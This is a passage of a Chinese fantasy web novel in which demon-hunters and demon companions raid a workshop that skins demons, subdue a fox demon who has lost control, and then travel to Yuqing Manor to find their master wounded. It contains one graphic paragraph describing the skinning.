那胖子生怕人头落地,急忙把自己知道的事情全一股脑说了:“作坊的石门设有强力结界,只能由内开,开关就在石门旁的扳手上,但在外面用炮弹都哄不开。门卫查得很严,只有带有通关文书的人才能带着囚车进去。”
他继续说:“到猎妖作坊门口后,先敲三声门,门上会开一个小窗,门外的人通过窗子把通关文书递进去,通关文书上会画着运货人的画像,做不得假。里面的人通过窗子细细观察囚车里的货物,看看是不是皮毛上佳的妖怪。通关文书和囚车都没有问题,里面的人才会开门。”
猫妖元宝掏出怀里的一张牛皮纸,弱弱地问:“这个是不是就是通关文书?”
牛皮纸上画着些看不懂的符号,中间赫然画着元宝那一颗圆乎乎的猫头。
看来食恶鬼想利用元宝的身体运送妖族,连通关文书都准备好了。
但囚车内也会被门卫仔细检查,总不能让元宝拉一辆空车,那肯定会被拒之门外。
白灿灿突然说:“让我坐在囚车里不就行了?九尾狐的皮毛可是价值千金。”
纪映阳立即反对道:“不行,那太危险了!”
白灿灿不顾他的反对,奋力从他怀里挣脱,走进囚车里,坚定地说:“我一定要去!我一定要去救作坊里的妖族们。”
她眼里泛着泪光,深吸一口气,说:“我妈妈就是被猎妖人杀死的。当年的我救不了她,只能眼睁睁看着她死掉。现在要让我袖手旁观,我做不到。”
37. 屠妖作坊(二)
白灿灿吃力地挣脱了纪映阳,自顾自跳进空荡荡的囚车里,往笼底一趴,毛茸茸的小圆脑袋枕在前腿上,软乎乎的大白尾巴环绕在身体周围,一副她就躺这儿不走了的固执模样。
见她去意已决,纪映阳没有再劝,只是默默走到囚车旁,不声不响地从乾坤袋里掏出一堆护身符,贴到白灿灿身上,符篆金光一闪,变得透明,隐在柔顺的毛发间看不见了。
这护身符出自玉清山庄,贴在身上能够阻挡一次攻击,平日里一张都难求,纪映阳一把就拿出了十几张,几乎能将白灿灿浑身都贴满了。
风颢天认出这护身符,开口想和纪映阳讨要几张:“我能出钱和你买几张么?你随便出价,我想买几张给元宝也贴上。”她的猫娇生惯养了这么多年,如今要深入敌营,她心里也担心得紧。
纪映阳想了想,从一沓护身符里扣扣搜搜地抽出了一张,说道:“不用给钱,就当我送你了。”
要说他吝啬吧,有市无价的护身符他说送就送;要说他慷慨吧,他分一张出来都这么不情不愿。
元宝看了看自家主人手里薄薄的一张符篆,又看了一眼不停地往白灿灿身上贴护身符的纪映阳,额角抽了抽,忍不住吐槽:“一样都是深入敌窟,这区别对待未免也太明显了吧。”
纪映阳听了,立马反驳道:“这哪能一样呢!你打架那么厉害,连黑熊妖对上你都没办法。我们灿灿又不会打架,手无缚鸡之力,遇到危险可就遭了啊!”
见风颢天眉角抽抽,冉青云从乾坤袋里掏出了三五张护身符,塞到风颢天手里,说道:“我这儿也有几张,你先拿去用吧。”
冉青云自小在山庄里剑术法术就出类拔萃,自恃武功高强,护身符制法繁琐耗时,她懒得多做,因此随身携带的护身符一只手都数得过来。
说罢,冉青云又掏出一叠爆炸符,从衣摆上撕下一条长长的布料,绑成一个简易的小挎包,将爆炸符塞进小挎包里,把小挎包递给元宝,对元宝说:“这些爆炸符你拿好,到时进到工坊里,你找机会引爆制造混乱,再趁乱把门打开。”接着,她又将爆炸符的法诀细细和元宝说了。
一切安排妥当,冉青云命那胖子在前带路,猫妖元宝驾驶着囚车,囚笼里关着白灿灿,其他人不远不近地跟在后头。
走了十几里路,终于来到了一处山洞前,那胖子指了指这个山洞,说道:“那里面就是工坊了。”
他搓了搓手,谄笑着说:“要不我和猫大人一起护送囚车进去吧,若是门卫问话时,猫大人答不上来,那可就进不去了。”
冉青云一眼就看透了他的小心思,这胖子定是怕他们过河拆桥,找到了工坊所在地就把他这个带路的给杀了,想着进了工坊再趁乱逃跑。
但这胖子说的也有一定道理,元宝在城主府就断了片,相当于后面一路都在梦游,根本不知道进入工坊的流程,若是不慎被门卫察觉异样,工坊警戒起来,要想再进入就难上加难了。
冉青云伸手在胖子后脖颈上贴了一张爆炸符,恐吓道:“别想搞什么小心思,我就在不远处盯着你,若是你没有安安全全地带他俩进入工坊,我立马让你炸成烟花。”
胖子表面上连连点头,背后却偷偷伸手想把爆炸符拽下来,只可惜符篆纹丝不动。
他没有办法,只好乖乖带着元宝和白灿灿进了山洞。
其他人则藏在附近灌木丛里等候。
进了山洞,越往里走,里头就越高耸宽敞,走了约莫十几米,走到了一堵高高的石门面前。
胖子后脖颈上还贴着爆炸符,不敢作妖,乖乖敲了敲门,对里面喊道:“到货一批。”
话音刚落,石门上开了一扇小窗,露出里面一双厚眼皮的三角眼来。
胖子恭恭敬敬地把通关文书通过窗子塞了过去,扭头给元宝使了个眼色,元宝也有样学样,递上自己的通关文书。
三角眼的那个人接过文书,查阅无误后又把两张通关文书从小窗里扔了出来,问道:“怎么两个人送一批货?”
胖子油嘴滑舌地胡诌:“这批货精贵,千年九尾狐,两个人护送才稳妥。”
短短一句话就帮白灿灿徒增几百岁年纪,辈分都得翻上几番。
那三角眼轱辘一转,看见囚笼内确实关着一只白色狐妖,晃眼一看都能看得出这狐妖的皮毛是难得一见的名贵,立马信了胖子的胡话。
石门哐啷一抖,轧轧作响地向上升起,飞尘四散,掉下好些碎石,一阵阴风扑面而来,夹杂着浓厚的血腥气味。
元宝这才知道,他所以为的“山洞”其实是一条隧道,此刻石门大开,日光一时晃了他的眼睛,他不由得把眼睛眯成了一条缝,只听见那门卫说:“进去吧,把笼子放在广场上就可以走了。”
待他适应了刺眼的阳光,再睁眼,这才看清自己进入了一个怎样的人间炼狱——
入目是一个宽敞的广场,广场的西侧摆着很多个血迹斑斑的铁笼,笼内挤挤挨挨地关着许多妖怪们,有的还在痛哭哀嚎,有的已表情麻木、无动于衷。
广场东侧,架着一排排大大小小的楦板,每面楦板上都钉着一具完整毛皮,白的、黑的、棕的……像一面面颜色各异的旗帜,密密麻麻地围成一个招魂的阵。
稍远一些,并排着几间竹屋,每间竹屋内都有人在忙忙碌碌,形成一个流水线作业的工坊。第一间里的人在挑裆,用挑刀从妖怪四肢足垫划拉开一个口子,刀贴着皮肤,一路挑到尾部。第二间里的人在剥皮,从四肢关节挑开的刀口处将腿骨翻出,使得四肢皮肉分离,再将妖怪挂在铁钩上,作筒状往下薅,直到剥出一张完整的皮毛来。第三间里……
元宝实在是看不下去了,只觉得五脏六腑都在翻腾,胃里一阵一阵地泛起酸水。他偏过头去,才发现那带他们进来的胖子已经不知遛到哪儿去了。
但元宝现在无暇顾及,硬生生憋住干呕,定了定神,深吸一口气,将关着白灿灿的囚车拉到广场西侧一个比较空荡的交流,对着白灿灿压低声音说:“我已经帮你把笼子的锁打开了,现在我先去到处张
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贴爆炸符,待我引爆后,你赶紧趁乱逃跑。”
白灿灿脸色铁青,似乎被这场景吓得不轻,低着头,没有回话。
元宝来不及再细说一次,心想等引爆之后,他主人风颢天和那其他几个看上去就武功高强的人必定会立马一起闯进来,再加上白灿灿身上还有那么多张护身符,一定可以安全坚持到获救。于是,他没等白灿灿回话,揣着一挎包的爆炸符,急急忙忙往工坊深处跑。
他身形小,在工坊内灵活地窜来窜去,就算被工坊里的人瞧见了,也只被以为是一只乱跑的小野猫,很快就把爆炸符贴到各个竹屋墙根处,眼看着任务就要圆满完成了。
但他不知道的是,此时白灿灿的状态远比他想象中还要糟糕。
白灿灿一见到工坊内的血腥场面,只觉得自己头痛欲裂,再也听不到外界的声音,心脏砰砰直跳,仿佛要跃出胸腔,眼前纷杂的画面不断闪回——
鲜血、牢笼、铁索、银刃、妈妈染血的脸、在空中似雪一般飘飞的狐毛……
她浑身颤动,双拳紧握,爪子掐得掌心鲜血淋漓,可自己却感受不到丝毫的疼痛,嘴里喃喃道:“妈妈……妈妈……”
最后,画面定格,眼前是那一张被固定在楦板上风干的白色狐皮,狐皮的四肢被套紧拉平,曾经总是温情脉脉地看向她的那双眼睛如今只剩两个空空荡荡的血窝。
死不瞑目。
妈妈死不瞑目。
儿时躲藏在角落里眼睁睁看着妈妈被生剥的那个自己,仿佛与此时缩在笼子里的自己重叠了,漫漫十年已过,滔天恨意只增不减。
杀了他们!
杀了他们——!
似海啸一般澎湃的妖力从她小小的身子上爆发出来,以她为中心,一股龙卷风凭空出现,又“唰——”的一声爆裂开来,将方圆五米内的一切物体震开,被关在囚笼里的妖怪们没法躲闪,只能随着囚车一起摔了出去。
白灿灿的意识已被一片黑暗淹没,她只觉得自己似乎沉入了深海,慢慢地、慢慢地一点一点坠向深处。
她摇摇晃晃地站起身,行尸走肉般地抬起头,掀起眼帘,露出失焦的眼眸。她站稳了身子,面无表情地往前走,握拳挥向前进路上的一切障碍物。她抬脚,迈步,落脚,再抬脚,再迈步,再落脚,一步一步、机械似地向前走去,谁也不知道她究竟想走向何方——包括她自己。
猫妖元宝好不容易偷偷摸摸地贴完了手头上所以的爆炸符,刚想要按照冉青云教的那样掐诀念咒,嘴里还没念出声,身后突然响起震耳欲聋的爆炸声。
啊嘞?咋回事?本喵不是还没催动爆炸符吗?
元宝一头雾水,循声望去,一扭头,就看到一辆囚车连人带车被白灿灿一拳打爆,登时吓得魂飞魄散,从头到脚炸开一身短毛。
这这这……
这就是纪映阳口中那“不会打架、手无缚鸡之力”的白灿灿吗?
还说什么她“遇到危险可就糟了”,她分明……分明就是最大的危险啊喂!
38. 屠妖作坊(三)
白灿灿理智全无,无差别地攻击视线内的一切生物。她妖气太盛,作坊里的工人们不敢近身,远远地朝着白灿灿拉弓射箭。
只听得嗖嗖几声,箭矢疾速飞向白灿灿,却被她身上的护身符弹开,起不到一点儿伤害。
工人们看不见她身上隐形的护身符,还以为这狐妖法力高深、刀枪不入,当即扔掉武器,自顾自逃窜起来。
白灿灿挥爪打飞一辆关着一笼子兔妖的囚车,铁笼在半空翻了两翻,“哐”的一声重重砸在地上,笼内半数兔妖登时晕了过去,剩下的一半歪七扭八地躺着,嘴里大口呕着鲜血。
这样下去,被捕的妖族们还没被作坊抽筋扒皮,就要被白灿灿活活打死了。
元宝急忙引爆了爆炸符,作坊内接连响起刺耳的爆炸声,原本用来引起骚乱的爆炸符如今成了转移火力的道具。白灿灿被爆炸声吸引了注意,失焦的双眼望向那几间熊熊燃烧的竹屋,一步一顿地走了过去。
一时间,作坊内哀嚎声、怒吼声、救火声不绝于耳。
云宝顾不上别的了,趁乱摸到石门旁,掰下扳手,石门“轰隆隆”地打开。
门外的四人一蛟等候许久,终于听到山洞内传出石门开启的声响,随之而来的是门内一阵兵荒马乱的暴动声。他们以为元宝和白灿灿是按原计划完成了放火、开门的任务,连忙往门内狂奔而去。
纪映阳和风颢天的轻功比起冉青云和陈三妹略逊一筹,但此时他俩心急如焚,生怕自家小狐狸小猫受伤,竟冲在了最前头。
冉青云和陈三妹也立即跟上。玄隐变回小黑蛟,缠在冉青云手腕上,再一次感受到了坐高速快车的滋味。
猫妖元宝见到主人,屁滚尿流地蹿进风颢天怀里,泪眼汪汪地说:“灿灿突然失控了!太可怕了!得快点拦住她才行!”说着,伸手往不远处的竹屋一指。
几人循着指向望去,只见那竹屋前,白灿灿双眼猩红,满眼寒光,一挥爪就带起一阵妖风,干脆利落地削去了半个屋顶。
那模样,简直和当初丧失理智的玄隐一模一样。
冉青云和纪映阳见识过玄隐失控后的威力,此时心下一沉,暗道不好。
这究竟是怎么回事?
冉纪二人自小在玉清山庄苦学捉妖技法,也没少跟着师尊外出降妖除魔,从没见过丧失理智失控后妖力大增的妖怪,怎么短短不到两个月,玄隐和白灿灿就先后“发病”?
两人对视一眼,同时拔剑抽刀,抬腿往白灿灿的方向走。
风颢天也想跟上帮忙,却听冉青云开口说道:“你们去救笼子里的妖族吧。”
纪映阳面色沉重,目不转睛地盯着失控的白灿灿,嘴里说道:“有些事还是得交给捉妖师来做。”
风颢天没觉得自己被小瞧,毕竟他们说的确实是实话。她不懂捉妖,但打小就跟着爹娘走镖,别的小孩玩孔明锁,她却坐在镖车上玩木箱上的真铜锁,开锁对她而言不过小菜一碟。她点点头,和元宝一起,毫不犹豫地跑向摆满囚笼的广场西侧,她开锁,元宝疏散妖群,配合得很是默契。
陈三妹同样自知对捉妖一窍不通,武功再强,上了估计也是添乱。她见这小小作坊内满是煞气,不好恶鬼化作一缕缕黑气,正盘旋着往天窗似的谷口逃窜,有几只已成功逃了出去,失去了踪影。
她脚下一点,轻飘飘地落到几乎垂直的峭壁上,在峭壁间左右横跳,几个起落间已经到了悬崖顶部。她登高俯视,掐诀念咒,布下锁鬼阵,将恶鬼困在这山谷之中,再跳回谷中,掏出镇鬼葫芦,慢慢将恶鬼们一只一只捉拿起来。
冉青云和纪映阳已来到白灿灿身后,总归得先让她停下来先。
趁白灿灿还未注意到他们,冉青云双手快速结印,唇瓣翕张默念心诀:“天地之气,聚于我身。予我仙灵,定你身形。定!”话毕,她右手指尖亮起一团刺眼的白光,白色光团“嗖——”的一声射向白灿灿,打中她的后心。
她后背上一张隐形的护身符发出“滋哇”的自燃声响,抵消了这一发定身咒。
冉青云皮笑肉不笑地说:“……师弟,你这护身符质量还真不错。”
纪映阳哪里能想到,给白灿灿保命用的护身符如今防的却是他们自己,一晃眼就要面对以己之矛攻己之盾的尴尬场景。
白灿灿背后一疼,倏然转身,张开血盆大口,朝着冉纪二人大声怒吼。伴随着刺耳的啸叫,磅礴的妖气似潮水般席卷而来,卷起一阵飞沙走石。
冉青云和纪映阳急忙在身前横刀立剑,桃木剑和黄铜师刀上都刻着符咒,金光一闪,便在身前形成一个透明的半圆保护罩,妖风呼啸,从结界两旁分流而过。
纪映阳咬牙道:“都怪我,明知她妈妈惨死作坊,刚才就不该放她进来,害得她受刺激丧失理智……”
冉青云摇摇头,说:“这是她的心结,进不进来是她自己的选择。”
“但是,”她看向纪映阳,眼神坚定地说,“作为朋友,现在就是我们帮她一把的时候了。”
白灿灿身上贴着二三十张护身符,若是要轮番攻击,将护身符一张一张地消耗掉,怕是要耗费太多时间精力,更何况,多次攻击或许会更加激怒白灿灿,使她狂上加狂、妖气暴增,那么一来,想再打中她也不容易了。
所以,现在只能在不攻击白灿灿的同时,先设阵将她困住,再另作打算。
冉青云言简意赅地下达命令:“我吸引她注意,你布金锁阵。”
金锁阵,阵如其名,是一种能够将对方牢牢锁住的阵法。
锁鬼阵困住的是已死的恶鬼,与锁鬼阵相反,金锁阵困住的则是在世的生灵。金锁阵布好的那一刻,阵中所有生灵,不论是妖还是人,都会被困在阵中。
若是将白灿灿吸引到阵中,自己却跑不出来,金锁阵就成了一个一对一的斗兽场。因此,身手更好、轻功更强的冉青云,确实更加适合来当吸引白灿灿注意的人。
纪映阳自然也明白这个道理,他没有逞强,从令如流,默默从乾坤袋中掏出一串古铜钱,开始布阵。
冉青云大喝一声,提着桃木剑朝白灿灿冲了过去,抬剑竖劈,被白灿灿空爪接住,利爪与剑刃发出“锵——”的一声,将冉青云虎口震得生疼。
但这一击竟连白灿灿身上的一张护身符都没消耗掉,说明此时白灿灿的实
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力竟强到了这个程度,即使没有护身符,她也能安安稳稳地接下这一剑,因此护身符才没被催动。
此时,白灿灿另一只爪子猛地挥了过来,冉青云只好收刀后撤,接连翻了几个单手后翻,劈开白灿灿的攻击。
冉青云一边后撤,一边还有闲工夫想七想八:“白灿灿平日里妖力并不强,当初在南淮城锦绣客栈激情杀人,那店小二尸体上的伤痕也是普通的划痕和咬痕,并不像现在这样,一拳就能把竹屋打烂。究竟是发生了什么,才会导致玄隐和白灿灿都进入这种疯魔的状态?情绪失控不少见,可失控后力量增强到这个地步,却是前所未闻。”
白灿灿此时已完全被洪水决堤似的杀意控制,双眼猩红,越战越勇,速度越来越快,力气越来越大,每挥一爪,都会掀起一阵猛烈的妖风。
冉青云不断横剑招架,奋力抵抗,脚下却偷偷退往纪映阳布阵的地方,将白灿灿引到阵法中央。
眼见纪映阳布阵只差最后一枚铜钱就完事,冉青云冲着纪映阳使了个眼色,随即从乾坤袋中掏出石灰粉往白灿灿眼前抛。
白灿灿反应极快,两爪一挥,纵身往后一跳,没有被石灰粉伤了眼睛,但眼前却净是散开的石灰粉,白茫茫一片。
冉青云趁机一个翻滚,溜出阵法外。纪映阳配合默契,当即摆上最后一枚古铜钱,掐诀念咒,金锁阵成。
石灰粉慢慢散开,白灿灿终于看清冉青云所在,嚎叫着就扑了上去,一头撞在金锁阵结界上,撞了个头晕眼花。
冉青云站在结界边缘,白灿灿的脸离她不过三寸距离。
白灿灿刚从头晕中缓过劲来,一抬头就近距离看见了冉青云的脸,只见她原本涣散的目光突然聚焦起来,她眯起眼睛,似乎是辨认面前的人是谁,神态与玄隐上次失控后看着冉青云时的表情一模一样。
不对,冉青云突然意识到不对劲,白灿灿并不是在辨认她的脸——她逐渐聚焦的眼睛,从始至终都一动不动地盯着冉青云的眉心。
她的视线炽热无比,盯得冉青云都感觉眉心隐隐发烫。
没看多久,白灿灿轻轻闭上了眼睛,身子一摇一晃,跌到在地,静静地睡着了。
这也和玄隐上次失控后沉睡的表现一样。
难道上次玄隐并不是认出了冉青云的脸,才从失控中恢复理智,而是被冉青云眉心的什么东西吸引了注意,才沉沉睡去吗?
冉青云摸了摸自己的眉心,额头一片光滑,感觉不到有任何异物。
纪映阳见白灿灿睡了过去,急忙解开金锁阵,将白灿灿轻轻抱了出来。
陈三妹已经把作坊里没来得及逃跑的恶鬼全抓了个遍,镇鬼葫芦沉甸甸地挂在腰间。
风颢天和元宝不仅放走了所有被抓的妖族,还顺手抓了几个跑得慢的作坊工人,以其人之道反制其人之身,将他们通通关进囚车里。
作坊中的火越烧越大,元宝驾驶着关住作坊工人的囚车,载着大家一起从山洞逃了出去。
然而,在没人看见的地方,一缕若有若无的黑气突然出现,隐藏在白灿灿耳后,顺着耳廓悠悠转了两圈,悄无声息地钻进了她的耳朵里面。
39. 吃醋
初来天虞城时还是盛夏,如今已到了深秋。
冉青云叩响了陈三妹府邸的门。从矮墙外,可以看见院中那一棵桂花树已悄然开花了,满树挂着金黄细小的花儿,密密麻麻的,一簇连着一簇,远远望去,好似绿绸缎上绣着碎金。
门很快开了,最先袭来的是一阵裹挟着浓郁桂花香的微风,接着便是陈三妹嘴角弯弯的笑脸,她打趣道:“哟,大老板今日怎么有空来我这儿做客?”
冉青云高高晃了晃手里用油纸包着的糕点,笑道:“这不是给你带桂花糕来了么?”
桂花糕虽是甜口,却不腻不齁,带有清甜的花香,最合陈三妹的口味。
闻言,她跳起来一把熊抱住冉青云,大喊:“你真好!”又说:“你等等我,我去冲茶,我们一起配着茶吃糕点!”说罢就火急火燎地往屋内跑了。
庭院中只剩冉青云和西施犬妖陈小雪大眼对小眼。
冉青云在桂花树下的石桌旁坐下,解开油纸,拿出一小块桂花糕,递到陈小雪面前,笑道:“你要不要先吃一小块尝尝?”
陈小雪甩了甩脑袋,昂首挺胸,斜睨着冉青云手中的桂花糕,傲娇地说:“好吧,那我给你个面子。”说着嗷呜一口将桂花糕吃了,神情高傲从容,雪白的毛茸茸尾巴却摇得可欢了。
陈三妹从屋内走了出来,手里稳稳当当端着一个檀木托盘,托盘上放着一个茶壶和两个茶杯。
她走到冉青云身边,坐下,斟茶,茶水色翠香郁,不愧是上好的凤凰单枞茶。
不能喝茶的小狗陈小雪轻轻跳到陈三妹的大腿上,找了个舒服的姿势,惬意地窝着不动了。
自从大家从屠妖作坊中安全离开后,已经过了一周有余。
陈三妹还挂记着在作坊里失控的白灿灿,问道:“灿灿还好么?我看她自从屠妖作坊的事儿之后都没有再演出了。”
“她还好,但……真要说的话也不那么好。”冉青云长叹一口气,“她身体上的伤倒是很快养好了,但精神却不太好,整日没精打采的,夜半还总是被噩梦惊醒,现在都得刘掌柜陪着她才能睡得着。”
陈三妹也跟着叹气:“八成是在屠妖作坊受的刺激太大了。”
冉青云:“或许吧。现在也只能多陪陪她,让她慢慢调整。”
陈三妹又问:“那你知道镖局里的那只猫妖后来怎么样了?”
冉青云哭笑不得地说:“元宝被风颢天押着到葛府、金府和那户农家里挨个负荆请罪去了,风颢天送上门的歉礼有足足九车,那农户院子里都差点儿摆不下了。”她本想事情结束后,就立即和风颢天谈谈委托长风镖局运送显影石的生意,谁知第二天刚上门,就遇见拎着元宝准备出门道歉的风颢天,身后还跟着浩浩荡荡的歉礼车队。
不过生意最终还是谈妥了,风颢天为了感谢冉青云帮忙救了元宝,镖费削价了六成。之后,香梅茶楼放出消息,只要离天虞城五百里以内,若是想买显影石,只需寄信到香梅茶楼,月初时长风镖局统一出镖,送货上门,到时再一手交钱一手交货。
放出消息时,距离九月初不过七天时间,冉青云原以为积累的订单不多,赚的钱或许比要花的镖费都少,就当亏本赚吆喝了。谁知短短七日,竟陆续收到了临近城镇村落大大小小的订单三十四张,累计一共卖出显影石近百个。这一趟走镖下来,冉青云还小赚了一笔。
说到走镖,冉青云又说:“你知不知道,如今长风镖局也开始招聘妖族镖师了。前几日就招了一位白鹤妖和一位乌龟妖,如今是海陆空三路走镖。现在,风颢天让元宝负责处理招聘事宜,天天干活,将功补过。”
陈三妹听了觉得好玩得很,忍不住说:“我都想辞了驱鬼人的差事,去当个镖师好了,那样小雪可以随着我一起去走镖,到处逛逛,还不用打打杀杀。”陈小雪听见陈三妹的规划里有她,往陈三妹怀里蹭了蹭,尾巴摇得似拨浪鼓。
陈三妹抱怨起工作来:“可惜有本事的新人不多,害得我总没法退休。唉,最近鬼怪实在是多得奇怪,太不正常了。我怀疑是冥界与地界的结界出了问题,之后还要去勘察勘察。”
陈小雪静静地匐在陈三妹大腿上,听她与冉青云闲谈说笑,树上桂花香清新淡雅,嘴里桂花糕余香悠长,秋风轻轻吹过,树影摇曳,细碎的桂花花瓣翩翩飘落,好似下了一场淡金色的雨。
冉青云是陈三妹交的第一个女性人类朋友,她们谈天说地,聊茶楼、讲镖局,谈捉妖、话驱鬼,讲这小小院落之外的大千世界。
陈小雪原以为,她和陈三妹的世界都很小,只要有彼此就足够了。好吧,最多再勉为其难加一个庞千山,这还是看在认识了几十年的份上。
可毕竟男女有别,庞千山可不会和陈三妹这样子肩贴着肩、头靠着头,嘻嘻哈哈地侃天说地,陈三妹也不会二话不说就冲上去给庞千山一个熊抱。
之前庞千山说过,对于陈三妹来说,人类朋友与妖族朋友终究是有些不一样的。
陈小雪依旧不想同意他这句话,但她此时看着言笑晏晏的陈三妹,心里却想,多交交人类朋友,好像确实也挺好的。
***
两人一直聊到秋日薄暮,冉青云辞别陈三妹,往香梅茶楼的方向走。街边,黄透的枫叶一路烧到天边。
来到西坊街时,远远地就看见香梅茶楼门口挤挤挨挨地围着几个小姑娘。走近一看,才发现被围在中间的竟是玄隐。
冉青云面色登时阴沉下来,抿紧了嘴,快步走上前去,挤开人群,走到玄隐身前,低声对玄隐说:“你先进去吧。”
玄隐正被小姑娘们七嘴八舌问得不知所措,此时看见冉青云,就好似看见了救世主,眼睛一亮,点点头飞速撤回了茶楼。
冉青云挤出一个营业笑容,对小姑娘们说:“各位有什么想问的,直接问我就是了。”
小姑娘们被突然冲出来的冉青云吓了一跳,立即就噤声了,你看看我,我看看你,最后为首的一位鼓起勇气说道:“我们好几日没看见白小姐演出了,担心她是不是出了什么事……”
原来是这样。
冉青云温声安抚道:“灿灿最近
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不太舒服,休息几天。你们不用太担心。”
小姑娘点头如小鸡啄米,连连说着“打扰了”,便告辞了。
冉青云转身进了茶楼,差点儿和靠在门边看戏的纪映阳撞上了。
纪映阳笑道:“是玄隐和小狗似的,硬要站在门口等你回来,这才被姑娘们围住了。”说罢,又挑挑眉说:“你有没有发现,你一看见玄隐被许多人围着,你就不开心。”
冉青云后知后觉:“你这么一说,好像确实是这样……”
纪映阳摊手说:“唉,真是的,师姐你也太迟钝了。你知道这是为什么吗?”
冉青云摇摇头,洗耳恭听。
纪映阳拍了拍冉青云的肩膀,斩钉截铁地说:“这么多年了,你都没意识到,你其实小气得很!你好好想一想,小时候你养了小蛇,是不是也不乐意借我玩吗?我想和你要一条来养养,还挨了你一顿胖揍!”
五分钟后,挨了一顿胖揍的纪映阳瘫在地上,看着师姐无情远去的背影,哼哼唧唧:“还说不是小气鬼?说真话都不行了,真是……”
冉青云走而复返,踢了纪映阳一脚。
纪映阳以为她还没揍尽兴,迅速用手护住脸,大声说:“还要打?!打人别打脸啊!”
冉青云却说:“我打算回一趟玉清山庄,你要和我一起去么?”
纪映阳一个鲤鱼打挺起身,疑惑道:“回玉清山庄?为什么?”但不等冉青云回答,又自顾自说:“你要回去,我肯定跟着你呀,还可以看看师尊她老人家。”
冉青云:“我就是想回去找师尊问问之前玄隐和白灿灿失控的事儿。师尊见多识广,又和妖族打了一辈子交道,说不定能知道是怎么一回事。”
玄隐和白灿灿接连失控,又莫名其妙地昏迷,未知的事情太多——为什么会失控?又为什么昏迷前都是盯着冉青云的眉心?难道他们是受到冉青云的影响吗?
冉青云不想再看到他们失去理智的样子了,在事情还没进一步恶化前,需要想办法找出原因、解决问题。
晚膳时,冉青云和大家说了她打算和纪映阳回一趟玉清山庄的事儿。
刘掌柜一人管理茶楼也得心应手,自然不会反对。
白灿灿依旧神色蔫蔫的,看上去心情低落,似乎对他们离不离开毫不在意。
只有玄隐明显不乐意,撅着嘴吞吞吐吐地说:“那、那你们多久才能回来?”
冉青云估算了一下路程,说:“再怎么快,来回也得十天半个月的……”
闻言,玄隐大惊失色,急忙说:“我也要一起去!”
纪映阳笑道:“我们要去的是玉清山庄耶!全天下最强的捉妖师都在那儿了,你要是去了,万一被捉了怎么办?”
玄隐瞥了几眼冉青云,底气不足道:“反正……反正青云会保护我的。”
这一次,冉青云没再由着他了。
凌霄真人嫉恶如仇,平生捉妖无数,若是被她知道冉青云带着妖宠回了玉清山庄,别说拜托她分析妖族失控的缘由,不被她赶出门就不错了。
40. 玉清山庄
事不宜迟,说走就走。
冉青云和纪映阳收拾好行囊,第二日一早,就带上刘掌柜准备的干粮盘缠,辞别哭得稀里哗啦的玄隐,向着玉清山庄出发了。
白灿灿的精神状况久久不见好转,她近日的作息几乎昼夜颠倒,冉纪二人出发时,她还在昏昏沉沉地补觉。
不知她这情况是不是与在屠妖作坊里的失控有关,只他们盼回一趟玉清山庄,能搞清楚失控缘由,好好地解决这个问题。
冉青云和纪映阳轻功都很扎实,脚程极快,两人日夜兼程,仅花五天就抵达了玉清山庄。
冉青云自从被凌霄真人捡回去,在玉清山庄生活了整整十八年,早就将山庄当做了家。她穿越过来之前也不过二十来岁,再过几年,她在这个世界生活的年岁都比上辈子长了。
初到这个世界,她还时常想念有电脑有空调的日子,可发觉实在没办法回到原来的世界,她也既来之则安之,在这个世界好好地生活。上辈子她背井离乡独自闯荡,机缘巧合下成为一名宠物博主,事业也算风生水起,但此时回想起来,记忆竟都有些朦胧了。
玉清山庄坐落在天神山上,传闻中是玉清元始天尊下凡时的旧居,因此而得名这。传闻究竟是真是假,无人知晓,但此处确实地蕴灵脉,很适合修炼法术。
玉清山庄虽名字上说是山庄,实际上更像一座学堂,只不过是一所全日制寄宿学堂,有天分的孩童拜入此门,学成捉妖技法后便可独自下山降妖除魔,待年纪大了、力不从心时,想定居他乡安享晚年也可以,想回到山庄教书育人也欢迎。
冉青云和纪映阳二人的师尊凌霄真人年轻时就是叱咤风云的人妖两界第一捉妖师,后来归隐山庄,在玉清山庄中教了近二十年的书。凌霄真人的实力深不可测,冉纪二人多次随她下山捉拿妖祟,从未见她受过一丁点儿的伤。
刚进山庄,开门的师妹见了冉青云和纪映阳,气运丹田,大呼一声:“冉世界纪师兄回来了!”
闻声,一大群师妹师弟们忽地就围了过来,冉纪二人还没来得及和久别的他们叙叙旧,就听他们七嘴八舌地说了起来:“冉师姐,纪师兄,你们可回来得太及时了!凌霄真人刚刚受了重伤,至今还未醒呢!”
凌霄真人居然受伤了?这可是冉纪二人见所未见、闻所未闻的。
师妹师弟们原本六神无主,如今见了冉纪二人,都把他们当主心骨,围着他们叽叽喳喳地说个不停,你一句来我一句,一句更比一句响,险些将冉青云耳膜都震破了。
冉青云认认真真听了好一会儿,才搞清楚事情的来龙去脉。
山庄里的牢房关着一些作案被捕的妖祟,没有将他们就地处决,而是关在大牢里,是为了通过严刑拷打,让他们交代出藏尸地点、赃物去向或是作案同伙。
不知为何,昨日被关押的妖祟们突然集体失控发狂,妖力大增,闯出牢笼,伤了好些弟子。为保护众人,凌霄真人设下金锁阵,将自己与妖祟们一起关在金锁阵中,鏖战了整整一天一夜,才将发疯的妖祟们全都了结,自己却也重伤晕倒。
冉青云和纪映阳对视一眼,都从彼此的眼神里看到了诧异。
妖祟发狂?妖力大增?
怎么听上去和玄隐、白灿灿失控的情况如此相像?
先前,玄隐和白灿灿发狂后都是盯着冉青云的眉心就沉沉睡去,冉青云还疑心他们发狂与冷静都是受到自己的影响,可玉清山庄里的邪祟发狂时,冉青云分明就不在山庄里,难道一切都是她的错觉?
静心堂前的广场一片狼藉,连廊坍塌,树木倾倒,满地的沙砾碎屑,还有不少半干未干的血迹,看来之前师尊就是在此处设下金锁阵与妖祟们鏖战。
战况之激烈,不言而喻。
冉青云和纪映阳忧心师尊伤势严重,急忙施展轻功往师尊的袇房赶去,师弟师妹们轻功不如他俩,被远远地甩在了后头。
来到师尊袇房门口,正巧遇上一位弟子从房内出来,双手还托着一盆被血染红了的温水,水盆上搭着纱布,想来是刚帮凌霄真人处理完伤口。
那弟子见是他们二人,眼前一亮,低头行礼,说道:“冉师姐,纪师兄,你们回来啦!师尊刚醒,你们快进去瞧瞧吧,师尊见了你们肯定高兴。”
袇房木门紧闭,虽然心里急着看看师尊伤势,但冉青云和纪映阳听说师尊已醒,还是乖乖按规矩,恭恭敬敬地敲了门,自报了姓名,等凌霄真人发话。
门内传来凌霄真人威严的声音:“进。”只是那声音如今听起来却有些中气不足,许是受伤后身体虚弱的缘故。
